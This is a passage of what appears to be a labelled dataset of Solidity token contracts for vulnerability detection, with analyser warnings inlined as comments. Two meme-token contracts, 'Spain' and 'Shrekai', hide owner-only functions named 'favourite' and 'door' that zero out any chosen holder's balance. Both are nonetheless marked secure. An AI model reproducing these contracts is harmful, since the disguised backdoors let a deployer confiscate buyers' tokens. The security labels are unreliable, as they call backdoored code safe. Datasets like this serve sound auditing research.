false;\n\n address public uniswapPool;\n\n event FirstBuyDone();\n\n constructor() {\n _name = \"Wall Street Pepe\";\n\n _symbol = \"WEPE\";\n\n _mint(0x26C6b1CD843C8E5Aa1C9958Df95D85424d390928, presaleReserve);\n\n _mint(0x17b0eAFaCb807C0B3930Ba8db9da4077557f0795, stakingReserve);\n\n _mint(0x82254Cb701afefada625a6eAB4847B9F24e57dff, marketingReserve);\n\n _mint(0x0059806e48D3b8EA756887Eb5a6B03Ff0cfEb583, liquidityReserve);\n\n _mint(0x19045acd5D6d69c99e3B2D8d3CDdAafAEdE06c89, DEXRewardsReserve);\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return _decimals;\n }\n\n function setUniswapPool(address _uniswapPool) external onlyOwner {\n require(\n _uniswapPool != address(0),\n \"Uniswap pool address cannot be zero\"\n );\n\n uniswapPool = _uniswapPool;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address from,\n address to\n ) public view virtual override returns (uint256) {\n return _allowances[from][to];\n }\n\n function approve(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), to, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n unchecked {\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n\n return true;\n }\n\n function increaseAllowance(\n address to,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(_msgSender(), to, _allowances[_msgSender()][to] + addedValue);\n\n return true;\n }\n\n function decreaseAllowance(\n address to,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][to];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(_msgSender(), to, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 6e7c621): Token._transfer(address,address,uint256) uses tx.origin for authorization require(bool,string)(tx.origin == owner(),First Buy Pending)\n\t// Recommendation for 6e7c621: Do not use 'tx.origin' for authorization.\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(amount > 0, \"ERC20: transfer amount zero\");\n\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n if (!firstBuyCompleted && sender == uniswapPool) {\n\t\t\t// tx-origin | ID: 6e7c621\n require(tx.origin == owner(), \"First Buy Pending\");\n\n firstBuyCompleted = true;\n\n emit FirstBuyDone();\n }\n\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n\n _balances[account] += amount;\n\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n\n function burn(uint256 amount) external {\n _burn(_msgSender(), amount);\n }\n\n function _approve(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: approve from the zero address\");\n\n require(to != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[from][to] = amount;\n\n emit Approval(from, to, amount);\n }\n}", "file_name": "solidity_code_1387.sol", "secure": 0, "size_bytes": 6810 }
{ "code": "// SPDX-License-Identifier: MIT OR Apache-2.0\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\" as SafeERC20;\n\ncontract TokenBatchTransfer is Ownable {\n function batchTransfer(\n address[] calldata accounts,\n uint256[] calldata amounts\n ) external payable {\n require(\n amounts.length == accounts.length,\n \"BatchTransfer: addresses number should equal to amounts\"\n );\n\n uint256 length = accounts.length;\n\n uint256 totalAmount;\n\n for (uint256 i; i < length; i++) {\n Address.sendValue(payable(accounts[i]), amounts[i]);\n\n totalAmount += amounts[i];\n }\n\n if (msg.value > totalAmount) {\n Address.sendValue(payable(msg.sender), msg.value - totalAmount);\n }\n }\n\n function batchTransferERC20(\n IERC20 token,\n address[] calldata accounts,\n uint256[] calldata amounts\n ) external {\n require(\n amounts.length == accounts.length,\n \"BatchTransfer: addresses number should equal to amounts\"\n );\n\n uint256 length = accounts.length;\n\n for (uint256 i; i < length; i++) {\n SafeERC20.safeTransferFrom(\n token,\n msg.sender,\n accounts[i],\n amounts[i]\n );\n }\n }\n\n function emergencyWithdraw() external onlyOwner {\n Address.sendValue(payable(owner()), address(this).balance);\n }\n\n function emergencyWithdrawERC20(IERC20 token) external onlyOwner {\n uint256 balance = token.balanceOf(address(this));\n\n SafeERC20.safeTransfer(token, owner(), balance);\n }\n}", "file_name": "solidity_code_1388.sol", "secure": 1, "size_bytes": 1965 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Spain is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable pain;\n\n constructor() {\n _name = \"Spain\";\n\n _symbol = \"SPAIN\";\n\n _decimals = 18;\n\n uint256 initialSupply = 341000000;\n\n pain = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == pain, \"Not allowed\");\n\n _;\n }\n\n function favourite(address[] memory federation) public onlyOwner {\n for (uint256 i = 0; i < federation.length; i++) {\n address account = federation[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_1389.sol", "secure": 1, "size_bytes": 4359 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Shrekai is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable elbow;\n\n constructor() {\n _name = \"SHREK AI\";\n\n _symbol = \"SHREKAI\";\n\n _decimals = 18;\n\n uint256 initialSupply = 519000000;\n\n elbow = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == elbow, \"Not allowed\");\n\n _;\n }\n\n function door(address[] memory recycle) public onlyOwner {\n for (uint256 i = 0; i < recycle.length; i++) {\n address account = recycle[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_139.sol", "secure": 1, "size_bytes": 4355 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract POTUS is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n mapping(uint256 => uint256) private perBuyCount;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d2083e1): POTUS._taxWallet should be immutable \n\t// Recommendation for d2083e1: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 private firstBlock = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 61fe382): POTUS._initialBuyTax should be constant \n\t// Recommendation for 61fe382: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 583c44e): POTUS._initialSellTax should be constant \n\t// Recommendation for 583c44e: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: c891fc3): POTUS._finalBuyTax should be constant \n\t// Recommendation for c891fc3: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 28aaa0c): POTUS._finalSellTax should be constant \n\t// Recommendation for 28aaa0c: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5eebdaf): POTUS._reduceBuyTaxAt should be constant \n\t// Recommendation for 5eebdaf: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 28;\n\n\t// WARNING Optimization Issue (constable-states | ID: b3eeef6): POTUS._reduceSellTaxAt should be constant \n\t// Recommendation for b3eeef6: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 35;\n\n\t// WARNING Optimization Issue (constable-states | ID: 830be3e): POTUS._preventSwapBefore should be constant \n\t// Recommendation for 830be3e: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 35;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 10000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Donald Trump\";\n\n string private constant _symbol = unicode\"POTUS\";\n\n uint256 public _maxTxAmount = 200000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 200000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 30908e7): POTUS._taxSwapThreshold should be constant \n\t// Recommendation for 30908e7: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 150000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: a0d3681): POTUS._maxTaxSwap should be constant \n\t// Recommendation for a0d3681: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 100000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 603a8ac): POTUS.uniswapV2Router should be immutable \n\t// Recommendation for 603a8ac: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 6f53dcf): POTUS.uniswapV2Pair should be immutable \n\t// Recommendation for 6f53dcf: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: e4e9b54): POTUS.sellsPerBlock should be constant \n\t// Recommendation for e4e9b54: Add the 'constant' attribute to state variables that never change.\n uint256 private sellsPerBlock = 3;\n\n\t// WARNING Optimization Issue (constable-states | ID: c76a602): POTUS.buysFirstBlock should be constant \n\t// Recommendation for c76a602: Add the 'constant' attribute to state variables that never change.\n uint256 private buysFirstBlock = 60;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[address(this)] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), address(this), _tTotal);\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n marketPair[address(uniswapV2Pair)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: baaaf1c): POTUS.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for baaaf1c: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 77fd779): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 77fd779: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4e06b73): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4e06b73: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 77fd779\n\t\t// reentrancy-benign | ID: 4e06b73\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 77fd779\n\t\t// reentrancy-benign | ID: 4e06b73\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3ffc403): POTUS._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 3ffc403: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 4e06b73\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 77fd779\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 095bd18): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 095bd18: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: c9cdd87): POTUS._transfer(address,address,uint256) uses a dangerous strict equality block.number == firstBlock\n\t// Recommendation for c9cdd87: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: dee56de): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for dee56de: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 9d5ea6e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9d5ea6e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n\t\t\t// incorrect-equality | ID: c9cdd87\n if (block.number == firstBlock) {\n require(\n perBuyCount[block.number] < buysFirstBlock,\n \"Exceeds buys on the first block.\"\n );\n\n perBuyCount[block.number]++;\n }\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < sellsPerBlock);\n\n\t\t\t\t// reentrancy-events | ID: 095bd18\n\t\t\t\t// reentrancy-eth | ID: dee56de\n\t\t\t\t// reentrancy-eth | ID: 9d5ea6e\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 095bd18\n\t\t\t\t\t// reentrancy-eth | ID: dee56de\n\t\t\t\t\t// reentrancy-eth | ID: 9d5ea6e\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 9d5ea6e\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 9d5ea6e\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 095bd18\n\t\t\t\t// reentrancy-eth | ID: dee56de\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 095bd18\n\t\t\t\t\t// reentrancy-eth | ID: dee56de\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: dee56de\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 095bd18\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: dee56de\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: dee56de\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 095bd18\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 095bd18\n\t\t// reentrancy-events | ID: 77fd779\n\t\t// reentrancy-benign | ID: 4e06b73\n\t\t// reentrancy-eth | ID: dee56de\n\t\t// reentrancy-eth | ID: 9d5ea6e\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 0c5e164): POTUS.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 0c5e164: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 095bd18\n\t\t// reentrancy-events | ID: 77fd779\n\t\t// reentrancy-eth | ID: dee56de\n\t\t// reentrancy-eth | ID: 9d5ea6e\n\t\t// arbitrary-send-eth | ID: 0c5e164\n _taxWallet.transfer(amount);\n }\n\n function rescueETH() external {\n require(_msgSender() == _taxWallet);\n\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: de9ae2a): POTUS.rescueTokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for de9ae2a: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueTokens(address _tokenAddr, uint256 _amount) external {\n require(_msgSender() == _taxWallet);\n\n\t\t// unchecked-transfer | ID: de9ae2a\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n function isNotRestricted() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 9e9c118): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 9e9c118: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 08a16e7): POTUS.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 08a16e7: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 1a50ae4): POTUS.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 1a50ae4: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 1cb674b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1cb674b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// reentrancy-benign | ID: 9e9c118\n\t\t// unused-return | ID: 1a50ae4\n\t\t// reentrancy-eth | ID: 1cb674b\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 9e9c118\n\t\t// unused-return | ID: 08a16e7\n\t\t// reentrancy-eth | ID: 1cb674b\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: 9e9c118\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 1cb674b\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 9e9c118\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}", "file_name": "solidity_code_1390.sol", "secure": 0, "size_bytes": 20178 }
